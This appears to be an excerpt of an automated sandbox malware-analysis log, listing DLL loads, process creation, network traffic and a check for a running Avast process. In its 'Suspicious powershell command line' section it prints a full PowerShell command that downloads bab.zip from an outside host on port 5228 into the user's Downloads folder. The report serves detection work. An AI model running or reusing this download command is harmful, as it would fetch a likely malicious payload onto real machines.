Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file.</p></li> source: 3.2.html.21.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor now accepts a <em>nosigint</em> argument.</p></li> source: 3.2.html.21.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-S.html.21.dr
Source:	Binary string: <li><a href="library/pdb.html#index-1">Pdb (class in pdb)</a>, <a href="library/pdb.html#pdb.Pdb">[1]</a> source: genindex-P.html.21.dr
Source:	Binary string: <li><p>A <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file can contain <code class="docutils literal notranslate"><span class="pre">continue</span></code> and <code class="docutils literal notranslate"><span class="pre">next</span></code> commands source: 3.2.html.21.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 5228
Source: unknown	Network traffic detected: HTTP traffic on port 5228 -> 49725

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
